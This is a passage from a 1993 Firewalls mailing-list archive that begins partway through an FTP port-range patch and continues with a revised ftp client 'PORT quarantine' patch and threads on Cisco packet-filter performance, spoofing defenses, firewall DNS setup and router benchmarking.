) + { + pasv_addr = ctrl_addr; + pasv_addr.sin_port = (u_short) counter; + if (bind(pdata, (struct sockaddr *) &pasv_addr, sizeof(pasv_addr)) < 0) + if (errno == EADDRINUSE) + continue; + else + goto pasv_error; + break; + } + if (counter == PASV_LAST+1 ) /* this should never happen! */ + goto pasv_error; + #endif len = sizeof(pasv_addr); if (getsockname(pdata, (struct sockaddr *) &pasv_addr, &len) < 0) goto pasv_error; From Firewalls-Owner@GreatCircle.COM Tue Dec 28 02:10:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15305; Tue, 28 Dec 93 02:10:52 GMT Received: from quack.kfu.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA15298; Mon, 27 Dec 93 18:10:40 PST Received: by quack.kfu.com id AA27711 (5.65c8/IDA-1.4.4 for firewalls@greatcircle.com); Mon, 27 Dec 1993 18:11:52 -0800 Date: Mon, 27 Dec 1993 18:11:52 -0800 From: Nick Sayer Message-Id: <199312280211.AA27711@quack.kfu.com> To: firewalls@greatcircle.com Subject: ftp PORT quarantine patch, take 2. Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I found one problem with the PORT quarantine patch. Since the server end is bound to ftp-data, it is conceivable (nay, I have seen it happen with mine own eyes already) that the server would be unable to open a connection to the client even though the client was able to bind to the socket number. I believe this happens because the server and client may not agree on how long the TIME_WAIT state for a freshly closed socket lasts. I fixed this (I think) by changing the patch so that a client keeps track of the last port number used in the PORT command and attempts to run through the entire range of the PORT quarantine in a single session. This is not entirely foolproof. It is conceivable that two users on the same host talking to the same remote server might still run into situations where the server would be unable to open an ftp-data socket. I believe that the possibilities are sufficiently low as to not warrant further bother. If this isn't the case (feedback would be cool), the solution would be for each client to choose a random starting point within the range and start cycling from there. This would be a rather simple thing to add, if it's absolutely necessary, but it would involve dragging in a PNRG (rand() or random()), which would be used a total of once. Seems to me the cost:benefit ratio is too high. Anyway, here's the revised patch: ----- *** old/ftp.c Sun Oct 10 09:17:29 1993 --- ftp.c Sun Dec 26 08:35:40 1993 *************** *** 55,60 **** --- 55,61 ---- #include #include #include + #include #include "ftp_var.h" *************** *** 1004,1009 **** --- 1005,1011 ---- int on = 1; noport: + #ifdef NO_PORT_QUARANTINE data_addr = myctladdr; if (sendport) data_addr.sin_port = 0; /* let system pick one */ *************** *** 1025,1030 **** --- 1027,1078 ---- perror("ftp: bind"); goto bad; } + #else + #define PORT_START 40000 + #define PORT_END 44999 + data = socket(AF_INET, SOCK_STREAM, 0); + if (data < 0) { + perror("ftp: socket"); + if (tmpno) + sendport = 1; + return (1); + } + if (!sendport) + { + data_addr = myctladdr; + if (data != -1) + (void) close(data); + if (setsockopt(data, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof (on)) < 0) { + perror("ftp: setsockopt (reuse address)"); + goto bad; + } + if (bind(data, (struct sockaddr *)&data_addr, sizeof (data_addr)) < 0) { + perror("ftp: bind"); + goto bad; + } + } + else + { + static int last_port=PORT_START; + int count; + for (count=0 ; count < PORT_END-PORT_START ; count++) + { + if (++last_port>PORT_END) + last_port=PORT_START; + data_addr.sin_port = last_port; + if (bind(data, (struct sockaddr *)&data_addr, sizeof (data_addr)) < 0) + if (errno == EADDRINUSE) + continue; + else + { + perror("ftp: bind"); + goto bad; + } + break; + } + assert(count != PORT_END-PORT_START ); /* The for loop should never complete */ + } + #endif if (options & SO_DEBUG && setsockopt(data, SOL_SOCKET, SO_DEBUG, (char *)&on, sizeof (on)) < 0) perror("ftp: setsockopt (ignored)"); From Firewalls-Owner@GreatCircle.COM Tue Dec 28 14:12:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA17490; Tue, 28 Dec 93 14:12:43 GMT Received: from rutgers.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA17483; Tue, 28 Dec 93 06:12:36 PST Received: from banana.UUCP by rutgers.edu (5.59/SMI4.0/RU1.5/3.08) with UUCP id AA21089; Tue, 28 Dec 93 09:01:20 EST Received: by banana.dis.fedex.com (5.57/smail2.5/02-19-91) id AA26137; Tue, 28 Dec 93 07:44:34 -0600 Received: by stnp.fedex.com (4.1/SMI-4.1) id AA18848; Tue, 28 Dec 93 07:10:52 CST Date: Tue, 28 Dec 93 07:10:52 CST From: rburditt@stnp.fedex.com (Robert Burditt) Message-Id: <9312281310.AA18848@stnp.fedex.com> Apparently-To: Firewalls@greatcircle.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Please unscribe me from this group. Thankyou for all the news to date. From Firewalls-Owner@GreatCircle.COM Wed Dec 29 22:52:21 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22984; Wed, 29 Dec 93 22:52:21 GMT Received: from newncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA22977; Wed, 29 Dec 93 14:52:12 PST From: woods@newncar.UCAR.EDU (Greg Woods) Message-Id: <199312292253.PAA10359@newncar.ucar.EDU> Received: from localhost by newncar.ucar.EDU (8.6.4/ NCAR Central Post Office 03/11/93) id PAA10359; Wed, 29 Dec 1993 15:53:27 -0700 Subject: Packet Filter Performance To: firewalls@greatcircle.com Date: Wed, 29 Dec 93 15:53:27 MST X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I know this has been discussed before, but maybe I can hear a few more details on this on this list. I have heard (from Brent himself at the USENIX Security Symposium tutorial on firewalls, and at the Firewalls BOF as well a number of others confirmed his opinion) that most of the performance hit when you do packet filtering on a router occurs the minute you enable filtering at all, and that there is very little additional performance penalty for additional filtering rules. Supposedly the reason for that is that once filtering is enabled, the CPU now has to examine all the packets to do the filtering and the routing can no longer be done at the interface level. I said this to someone who is maintaining a firewall that I was having some trouble with (trying to set up a newsfeed to one of the systems behind his firewall and coming from a different network than previously) and he was hesitant to add the additional network to his access list because he was concerned about the size of his list. When I told him I had heard that the size of the list didn't make that much difference, he said: > As I understand it simple access list elements are handled by the microcode > on the MCI cards (in the Cisco) without passing them through the CPU. Is this true? And if it is, does that mean that the major performance hit might not occur the instant access lists on a Cisco are enabled? --Greg From Firewalls-Owner@GreatCircle.COM Wed Dec 29 23:13:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA23067; Wed, 29 Dec 93 23:13:51 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA23058; Wed, 29 Dec 93 15:13:37 PST Message-Id: <9312292313.AA23058@mycroft.GreatCircle.COM> To: woods@newncar.UCAR.EDU (Greg Woods) Cc: firewalls@greatcircle.com Subject: Re: Packet Filter Performance In-Reply-To: Your message of Wed, 29 Dec 93 15:53:27 MST Date: Wed, 29 Dec 1993 15:13:36 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk woods@newncar.UCAR.EDU (Greg Woods) writes: # I said this to someone who is maintaining a firewall that I was having # some trouble with (trying to set up a newsfeed to one of the systems behind # his firewall and coming from a different network than previously) and he # was hesitant to add the additional network to his access list because he # was concerned about the size of his list. When I told him I had heard # that the size of the list didn't make that much difference, he said: # # > As I understand it simple access list elements are handled by the microcode # > on the MCI cards (in the Cisco) without passing them through the CPU. # # Is this true? And if it is, does that mean that the major performance hit # might not occur the instant access lists on a Cisco are enabled? Ciscos have several types of access lists, two of which are relevant to IP packet filtering. Simple access lists (those numbered 0 through 99) only let you look at source and destination IP addresses to make filtering decisions; I could be convinced that this is done in the MCI microcode on the Ciscos. Extended access lists (thoose numbered 100 through 199, I think) let you examine protocol (UDP/TCP/ICMP) and destination port (but not source port) as well; I'm pretty sure this is NOT done at the microcode level, and is bounced up to the CPU. So, the answer depends on which type of access lists you're using. For most firewall applications, the simple access lists don't provide enough detail, and you have to use the extended access lists. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Thu Dec 30 00:23:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA23374; Thu, 30 Dec 93 00:23:10 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA23367; Wed, 29 Dec 93 16:23:03 PST Message-Id: <9312300023.AA23367@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by bigbird.zoo.att.com; Wed Dec 29 19:23:03 EST 1993 To: Brent Chapman Cc: woods@newncar.UCAR.EDU (Greg Woods), firewalls@GreatCircle.COM Subject: Re: Packet Filter Performance Date: Wed, 29 Dec 93 19:23:02 EST Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Of course, it's worth asking if the speed of processing the access list matters in your environment. Most (but of course not all) firewalls are at the border between a fast LAN and a WAN that's generally operating at 1.5 Mb/sec or slower. Routers don't have much trouble keeping up with that speed. From Firewalls-Owner@GreatCircle.COM Thu Dec 30 01:09:21 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA23489; Thu, 30 Dec 93 01:09:21 GMT Received: from bedrock.cs.UMD.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA23482; Wed, 29 Dec 93 17:09:12 PST Received: by bedrock.cs.UMD.EDU (5.64/UMIACS-0.9/04-05-88) id AA04965; Wed, 29 Dec 93 20:10:27 -0500 Date: Wed, 29 Dec 93 20:10:27 -0500 From: reh@cs.UMD.EDU (Richard Huddleston) Message-Id: <9312300110.AA04965@bedrock.cs.UMD.EDU> To: brent@GreatCircle.COM, woods@newncar.UCAR.EDU Subject: Re: Packet Filter Performance Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk [...there are two types of IP access lists ( c.f., below )...] You can get slicker than this with a cisco, by turning off IP routing and bridging it instead. As I recall, you've got three types of filtering you can then do: protocol type, ethernet (MAC) address, or vendor code. The last two incur a very minimal performance penalty, while filtering by protocol type beats the daylights out of performance. While I don't really know, I would say that the MAC address and vendor code are handled at the interface, while the protocol type involves the CPU. An interesting and somewhat subtle question... This is also the only way I know of to get a cisco to do inbound "packet" filtering. ( Quotes intentional. ) MAC addresses are also a little more believable than IP addresses, IMHO. ( No flames, please. Advice, however, is welcomed ;). Yes, yes, yes, it really takes some tuning to get these filters right. . For some situations, however, bridging IP and then filtering MACs has been an ideal way to effect a policy or lattice. Your mileage may vary. Richard [...snip...we've read the deleted section twice already...] * * Ciscos have several types of access lists, two of which are relevant to * IP packet filtering. Simple access lists (those numbered 0 through 99) only * let you look at source and destination IP addresses to make filtering * decisions; I could be convinced that this is done in the MCI microcode on * the Ciscos. Extended access lists (thoose numbered 100 through 199, I think) * let you examine protocol (UDP/TCP/ICMP) and destination port (but not source * port) as well; I'm pretty sure this is NOT done at the microcode level, and is * bounced up to the CPU. * * So, the answer depends on which type of access lists you're using. For * most firewall applications, the simple access lists don't provide enough * detail, and you have to use the extended access lists. * * * -Brent * -- * Brent Chapman Great Circle Associates * Brent@GreatCircle.COM 1057 West Dana Street * +1 415 962 0841 Mountain View, CA 94041 * From Firewalls-Owner@GreatCircle.COM Thu Dec 30 06:32:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA24156; Thu, 30 Dec 93 06:32:43 GMT Received: from newncar.UCAR.EDU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA24149; Wed, 29 Dec 93 22:32:34 PST From: woods@newncar.UCAR.EDU (Greg Woods) Message-Id: <199312300633.XAA01777@newncar.ucar.EDU> Received: from localhost by newncar.ucar.EDU (8.6.4/ NCAR Central Post Office 03/11/93) id XAA01777; Wed, 29 Dec 1993 23:33:50 -0700 Subject: Re: Packet Filter Performance To: smb@research.att.com Date: Wed, 29 Dec 93 23:33:50 MST Cc: brent@GreatCircle.COM, firewalls@GreatCircle.COM In-Reply-To: <199312300024.RAA15087@newncar.ucar.EDU>; from "smb@research.att.com" at Dec 29, 93 7:23 pm X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > Of course, it's worth asking if the speed of processing the access > list matters in your environment. Yes, it certainly is. And sometimes it's a hard question. How about a startup company? One who depends on something unique that they have to make money but who also has a limited budget? Then you get one router that has to be a firewall *and* and internal router. Definitely a sub-optimal configuration, but if it's all you've got, what's the best you can do with it? --Greg From Firewalls-Owner@GreatCircle.COM Thu Dec 30 06:57:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA24186; Thu, 30 Dec 93 06:57:47 GMT Received: from netmaine.ansremote.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA24179; Wed, 29 Dec 93 22:57:40 PST Received: by netmaine.ansremote.com (IBM OS/2 SENDMAIL 1.2.10/1.0) id AA0060; Thu, 30 Dec 93 01:55:36 -0800 Message-Id: <9312300955.AA0060@netmaine.ansremote.com> Date: Thu, 30 Dec 93 01:33:07 EST From: "Andrew T. Robinson" To: Firewalls mailing list Subject: Source-address spoofing Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I've been mulling over the issue of source-address spoofing as I try to design a firewall. With what frequency do source-address-spoofing attacks occur over the Internet (as opposed to within a particular LAN)? What techniques do crackers use to accomplish this? And what passive (i.e., not authentication-driven) defenses can be built into a firewall to block these attacks? The latter two questions may generate "I don't know you so I'm not going to tell you" replies--please leave them in the bit-bucket ;-) Andy From Firewalls-Owner@GreatCircle.COM Thu Dec 30 13:13:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25211; Thu, 30 Dec 93 13:13:41 GMT Received: from orbot.co.il by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25204; Thu, 30 Dec 93 05:13:11 PST Received: from jam.ORBOT ([220.69.96.153]) by orbot.co.il (4.1/SMI-4.0) id AA07437; Thu, 30 Dec 93 15:14:35 IST Received: by jam.ORBOT (4.1/SMI-4.1) id AA03306; Thu, 30 Dec 93 15:13:25 IST Date: Thu, 30 Dec 93 15:13:25 IST From: leon@orbot.co.il (Leon Koll) Message-Id: <9312301313.AA03306@jam.ORBOT> To: firewalls@GreatCircle.COM Subject: DNS on firewall Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello to FIREWALLS GURUS ! I am novice, i must setup the DNS on my Sun Sparcstation 2 (SUN OS 4.1.3) that will acts as firewall. What is the standard, simple, reliable decision ? (DNS with/without NIS; named/BIND, so on...) Please send me your tips&hints, how-to's, pointers to papers/FAQs, etc. Thanks in advance and Happy New Year ! ____________________________________________________ Leon Koll leon@orbot.co.il System & Network Administrator Orbotech Ltd. Voice (972) 8-423-664 Yavne, Israel Fax (972) 8-438-769 ____________________________________________________ From Firewalls-Owner@GreatCircle.COM Thu Dec 30 15:31:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25513; Thu, 30 Dec 93 15:31:57 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25506; Thu, 30 Dec 93 07:31:49 PST Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA18425; Thu, 30 Dec 93 10:33:07 -0500 Received: from rayssd.UUCP by uucp6.uu.net with UUCP/RMAIL (queueing-rmail) id 103156.13019; Thu, 30 Dec 1993 10:31:56 EST Received: from fluke.ssd.ray.com by rayssd.ssd.ray.com with SMTP id AA10055 (5.65c/IDA-1.5 for ); Thu, 30 Dec 1993 09:47:53 -0500 Received: from localhost (dhb@localhost) by fluke.ssd.ray.com (8.6.4/8.6.4) id JAA12050 for firewalls@GreatCircle.COM; Thu, 30 Dec 1993 09:47:53 -0500 Message-Id: <199312301447.JAA12050@fluke.ssd.ray.com> From: dhb@ssd.ray.com (David H. Brierley) Date: Thu, 30 Dec 1993 09:47:53 -0500 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: firewalls@GreatCircle.COM Subject: Re: Packet Filter Performance Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk On Dec 29, 23:33, Greg Woods wrote: > > Of course, it's worth asking if the speed of processing the access > > list matters in your environment. > > Yes, it certainly is. And sometimes it's a hard question. How about > a startup company? One who depends on something unique that they have > to make money but who also has a limited budget? Then you get one What are the odds that a small startup on a limited budget is going to purchase a really fast connection to the Internet? I'm sitting here getting ready to connect a multi-billion dollar company and all I could get funding for was a 256K line. I doubt a small startup could justify much more than a 56K line unless they are sinking all of their resources into an Internet based service that requires high speed access. If all you've got for bandwidth is 56K I would expect just about any router on the market to be able to keep up. -- David H. Brierley; Raytheon Submarine Signal Division Work: dhb@ssd.ray.com Home: dave@galaxia.network23.com From Firewalls-Owner@GreatCircle.COM Thu Dec 30 16:10:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25620; Thu, 30 Dec 93 16:10:57 GMT Received: from clavin.uprc.com (uprc.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25613; Thu, 30 Dec 93 08:10:47 PST Received: from cygnus.uprc.com by clavin.uprc.com (4.1/3.2.012693-Union Pacific Resources Company); id AA28695 for firewalls@greatcircle.com; Thu, 30 Dec 93 10:11:43 CST Received: by cygnus.uprc.com (5.0/SMI-SVR4) id AA00458; Thu, 30 Dec 1993 10:12:16 +0600 Date: Thu, 30 Dec 1993 10:12:16 +0600 From: lacoursj@uprc.com (Jeffrey D. LaCoursiere) Message-Id: <9312301612.AA00458@cygnus.uprc.com> To: firewalls@greatcircle.com Subject: Re: Packet Filter Performance X-Sun-Charset: US-ASCII Content-Length: 1702 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > On Dec 29, 23:33, Greg Woods wrote: > > > Of course, it's worth asking if the speed of processing the access > > > list matters in your environment. > > > > Yes, it certainly is. And sometimes it's a hard question. How about > > a startup company? One who depends on something unique that they have > > to make money but who also has a limited budget? Then you get one > > What are the odds that a small startup on a limited budget is going to > purchase a really fast connection to the Internet? I'm sitting here > getting ready to connect a multi-billion dollar company and all I could > get funding for was a 256K line. I doubt a small startup could justify > much more than a 56K line unless they are sinking all of their resources > into an Internet based service that requires high speed access. If all > you've got for bandwidth is 56K I would expect just about any router on > the market to be able to keep up. > > -- > David H. Brierley; Raytheon Submarine Signal Division > Work: dhb@ssd.ray.com Home: dave@galaxia.network23.com > I'm pretty sure he was trying to say that enabling packet filtering on the internet gateway router would effect internal inter-network performance if it happened to also be the internal inter-network router (likely for smaller companies). Cisco novice question: is it possible to enable filtering for packets inbound/outbound through the internet interface, but disabled for all other interfaces? In other words, filter all internet traffic but allow all internal subnet-subnet traffic to pass unfiltered? I guess the internet traffic would still bog down the router anyway, though. Jeff LaCoursiere Network Admin UPRC Ft. Worth, Texas From Firewalls-Owner@GreatCircle.COM Thu Dec 30 16:12:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25638; Thu, 30 Dec 93 16:12:20 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25631; Thu, 30 Dec 93 08:12:08 PST Received: from bacon.UUCP by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA11155 for ; Thu, 30 Dec 93 11:05:18 -0500 Received: from lorax.imsi.com by bacon.IMSI.COM (4.1/SMI-4.1) id AA04947; Thu, 30 Dec 93 11:04:43 EST Received: from localhost by lorax.imsi.com (4.1/SMI-4.1) id AA14100; Thu, 30 Dec 93 11:04:42 EST Message-Id: <9312301604.AA14100@lorax.imsi.com> To: dhb@ssd.ray.com (David H. Brierley) Cc: firewalls@greatcircle.com Subject: Re: Packet Filter Performance In-Reply-To: Your message of "Thu, 30 Dec 1993 09:47:53 EST." <199312301447.JAA12050@fluke.ssd.ray.com> Reply-To: rens@imsi.com Date: Thu, 30 Dec 1993 11:04:42 -0500 From: Rens Troost Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> On Thu, 30 Dec 1993 09:47:53 -0500, dhb@ssd.ray.com (David H. Brierley) said: dhb> What are the odds that a small startup on a limited budget is dhb> going to purchase a really fast connection to the Internet? Better than you might think. I'm at a really small ( < 150 employees ) place and we have a t1. As things like mosaic roll out more, you'll find greater demand. -Rens From Firewalls-Owner@GreatCircle.COM Thu Dec 30 16:28:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25708; Thu, 30 Dec 93 16:28:20 GMT Received: from erenj.com (ereapp.erenj.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25701; Thu, 30 Dec 93 08:28:11 PST Posted-Date: Thu, 30 Dec 1993 11:29:23 -0500 From: bdboyle@maverick1.erenj.com (Bryan D. Boyle) Message-Id: <9312301129.ZM14217@maverick1.erenj.com> Date: Thu, 30 Dec 1993 11:29:23 -0500 In-Reply-To: dhb@ssd.ray.com (David H. Brierley) "Re: Packet Filter Performance" (Dec 30, 9:47am) References: <199312301447.JAA12050@fluke.ssd.ray.com> X-Mailer: Z-Mail (2.1.0 10/1/92) To: firewalls@GreatCircle.COM Subject: Re: Packet Filter Performance Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk On Dec 30, 9:47am, David H. Brierley wrote: > > What are the odds that a small startup on a limited budget is going to > purchase a really fast connection to the Internet? I'm sitting here > getting ready to connect a multi-billion dollar company and all I could > get funding for was a 256K line. I doubt a small startup could justify > much more than a 56K line unless they are sinking all of their resources > into an Internet based service that requires high speed access. If all > you've got for bandwidth is 56K I would expect just about any router on > the market to be able to keep up. > >-- End of excerpt from David H. Brierley We are currently supporting over 400+ users of various stripes behind a 56K line and firewall : 30K+ messages permonth, 300+ man/hours telnet, 2-5 GB of FTP traffic, and a pretty full news feed, and barely make a crack in the 56K performance. Even looking at bringing up mosaic (through socks) to the outside (we have an inside http machine set running now...) on a set > 1 of unix machines for multiple users isn't projected to have a justifyable effect on the performance of the line. Justifyable in the sense of having to go back to the well for an upspeed request. And we are a r&d organization with world-wide interactive connection requests. Let's go back to basic telco usage theory: not all of the universe of your users are going to be looking for a constantly-transmitting duplex connection. It's an asynchronous world. Mostly in the realm of: connect->negotiate->transfer->release For most small companies, demand-driven local dial-in ppp access at 19.2 works real fine, even for apps like mosaic. Of course, if you are transmitting uncompressed 256-color images, that is another story. I think that the desire (or spec'ing) for high-speed lines should be taken a bit more with a grain of salt. Most of the router manufacturers run their software at line speeds (when they have the software working right, that is...) for all of their interfaces, and should be able to handle firewalling for most non-critical networks with little noticable degradation to end users on PC's and Macs. Alphas? I make no claims about them... Just my ramblings... -- Bryan D. Boyle |Physical: ER&E, Rt. 22, Clinton, NJ 08801 #include |Logical: Cogito sum, ergo sum, cogito. (908) 730-3338 |Virtual: bdboyle@erenj.com From Firewalls-Owner@GreatCircle.COM Thu Dec 30 08:37:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25827; Thu, 30 Dec 93 16:34:43 GMT Received: from relay.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25812; Thu, 30 Dec 93 08:34:31 PST Received: by relay.tis.com; id AA23269; Thu, 30 Dec 93 11:35:39 EST Received: from sol.tis.com(192.33.112.100) by relay via smap (V1.0mjr) id sma023260; Thu Dec 30 11:34:52 1993 Received: from otter.tis.com by tis.com (4.1/SUN-5.64) id AA05553; Thu, 30 Dec 93 11:34:44 EST Received: by otter.tis.com (4.1/SMI-4.1) id AA11584; Thu, 30 Dec 93 11:34:42 EST Date: Thu, 30 Dec 93 11:34:42 EST From: mjr@tis.com Message-Id: <9312301634.AA11584@otter.tis.com> To: firewalls@GreatCircle.COM, lacoursj@uprc.com Subject: Re: Packet Filter Performance Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has anyone actually quantified the performance hit of any of the various router screening rules?? There was a paper at the last USENIX security symposium that pretended to be about that topic, but turned out to be a measurement of the context switch speed of DEC's OSF/1 running on an Alpha, instead. :) Anyone got any numbers for Ciscos or other real routers? (Andrew?) My gut feeling is always not to worry about it, as long as it's fast enough, where "fast enough" is defined as "nobody notices." mjr. From Firewalls-Owner@GreatCircle.COM Thu Dec 30 16:43:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25915; Thu, 30 Dec 93 16:43:06 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25907; Thu, 30 Dec 93 08:42:53 PST Message-Id: <9312301642.AA25907@mycroft.GreatCircle.COM> To: lacoursj@uprc.com (Jeffrey D. LaCoursiere) Cc: firewalls@greatcircle.com Subject: Re: Packet Filter Performance In-Reply-To: Your message of Thu, 30 Dec 1993 10:12:16 +0600 Date: Thu, 30 Dec 1993 08:42:51 -0800 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk lacoursj@uprc.com (Jeffrey D. LaCoursiere) writes: # I'm pretty sure he was trying to say that enabling packet filtering on # the internet gateway router would effect internal inter-network performance # if it happened to also be the internal inter-network router (likely for # smaller companies). That's correct. # Cisco novice question: is it possible to enable filtering for packets # inbound/outbound through the internet interface, but disabled for all # other interfaces? In other words, filter all internet traffic but allow # all internal subnet-subnet traffic to pass unfiltered? I guess the # internet traffic would still bog down the router anyway, though. No. On a Cisco, you can only filter packets as they're outgoing on some interface. Thus, you have to put filters on _all_ the interfaces to use a Cisco in a typical firewall system. If it's a multi-interface box that you want to use for internal routing as well as your Internet connection (a box with 1 serial port for the Internet line and 2 ethernet ports for internal networks, for instance), having to set up filters on all the ethernet ports kills the ether-to-ether routing performance. In my opinion, this is one of the 2 major flaws in Cisco's otherwise-good packet filtering scheme. The other is that they don't let you look at TCP or UDP source ports. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner@GreatCircle.COM Thu Dec 30 16:56:01 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25981; Thu, 30 Dec 93 16:56:01 GMT Received: from tadpole.Tadpole.COM (Tadpole.COM) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25974; Thu, 30 Dec 93 08:55:52 PST Received: from Tadpole.COM by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA22282; Thu, 30 Dec 93 10:57:10 CST Date: Thu, 30 Dec 93 10:57:09 CST From: jim@Tadpole.COM (Jim Thompson) Message-Id: <9312301657.AA22282@tadpole.Tadpole.COM> To: firewalls@GreatCircle.COM, lacoursj@uprc.com, mjr@tis.com Subject: Re: Packet Filter Performance Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A long time ago, someone at Harvard cooked up two programs running on semi-fast (at the time) PCs. The programs were named 'hammer' and 'anvil'. Hammer was the source, anvil was the sink. This individual then put various routers between the two, and measured the packet rates he could obtain. In the end he published pretty graphs, etc. I don't remember who he was, or where to get the graphs. Perhaps someone with more time than I can find it via archie/... Jim From Firewalls-Owner@GreatCircle.COM Thu Dec 30 09:07:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25889; Thu, 30 Dec 93 16:37:38 GMT Received: from tadpole.Tadpole.COM (Tadpole.COM) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA25881; Thu, 30 Dec 93 08:37:29 PST Received: from Tadpole.COM by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA22119; Thu, 30 Dec 93 10:38:46 CST Date: Thu, 30 Dec 93 10:38:46 CST From: jim@Tadpole.COM (Jim Thompson) Message-Id: <9312301638.AA22119@tadpole.Tadpole.COM> To: rens@imsi.com Subject: Re: Packet Filter Performance Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > dhb> What are the odds that a small startup on a limited budget is > dhb> going to purchase a really fast connection to the Internet? > > Better than you might think. I'm at a really small ( < 150 employees ) > place and we have a t1. As things like mosaic roll out more, you'll > find greater demand. < 60 with T1 here. When I worked at big-workstation-company-X I had a 56k link from work (and on to the Internet from ehre) to my home. It was fine as long as my wife wasn't also trying to use it. From Firewalls-Owner@GreatCircle.COM Thu Dec 30 17:49:57 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26210; Thu, 30 Dec 93 17:49:57 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931103) id AA26201; Thu, 30 Dec 93 09:49:49 PST Message-Id: <9312301749.AA26201@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by bigbird.zoo.att.com; Thu Dec 30 12:49:25 EST 1993 To: jim@Tadpole.COM (Jim Thompson) Cc: firewalls@GreatCircle.COM, lacoursj@uprc.com, mjr@tis.com, sob@harvard.edu Subject: Re: Packet Filter Performance Date: Thu, 30 Dec 93 12:49:24 EST Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A long time ago, someone at Harvard cooked up two programs running on semi-fast (at the time) PCs. The programs were named 'hammer' and 'anvil'. Hammer was the source, anvil was the sink. This individual then put various routers between the two, and measured the packet rates he could obtain. In the end he published pretty graphs, etc. I don't remember who he was, or where to get the graphs. Perhaps someone with more time than I can find it via archie/... Jim Sounds like Scott Bradner's (sob@harvard.edu) router benchmark 